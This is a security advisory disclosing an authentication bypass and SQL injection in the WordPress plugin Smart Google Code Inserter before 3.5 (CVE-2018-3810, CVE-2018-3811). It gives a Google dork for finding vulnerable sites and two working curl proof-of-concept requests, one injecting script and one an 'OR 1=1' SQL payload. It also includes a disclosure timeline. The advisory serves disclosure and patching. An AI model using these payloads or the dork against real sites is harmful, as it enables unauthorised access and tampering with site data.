Exploit Title: Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi
Google Dork: inurl:wp-content/plugins/smart-google-code-inserter/
Exploit Author: Benjamin Lim
Vendor Homepage: http://oturia.com/
Software Link: https://wordpress.org/plugins/smart-google-code-inserter/
Tested on: Kali Linux 2.0
CVE : CVE-2018-3810 (Authentication Bypass with resultant XSS)
CVE : CVE-2018-3811 (SQL Injection)
1. Product & Service Introduction:
Smart Google Code Inserter is a Wordpress plugin that makes it easy to add Google Analytics tracking code as well as meta tag verification of Webmaster Tools. As of now, the plugin has been downloaded 34,207 times and has 9,000+ active installs.
2. Technical Details & Description:
SQL Injection vulnerability, when coupled with the Authentication Bypass vulnerability in the Smart Google Code Inserter plugin 3.4 allows unauthenticated attackers to execute SQL queries in the context of the webserver. The saveGoogleAdWords() function in smartgooglecode.php did not use prepared statements and did not sanitize the $_POST["oId"] variable before passing it as input into the SQL query.
3. Proof of Concept (PoC):
curl -k -i --raw -X POST -d "sgcgoogleanalytic=<script>alert("1");</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode" "http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host: localhost" -H "Content-Type: application/x-www-form-urlencoded"
curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId=1 OR 1=1--&ppccap=ex:mywplead&ppcpageid=1&ppccode=bb&nchkdel1=on" "http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host: localhost" -H "Content-Type: application/x-www-form-urlencoded"
Update to version 3.5
5. Disclosure Timeline
2017/11/29 Vendor contacted
2017/11/30 Vendor acknowleged and released an update
2018/01/01 Advisory released to the public
6. Credits & Authors:
Benjamin Lim - [https://limbenjamin.com]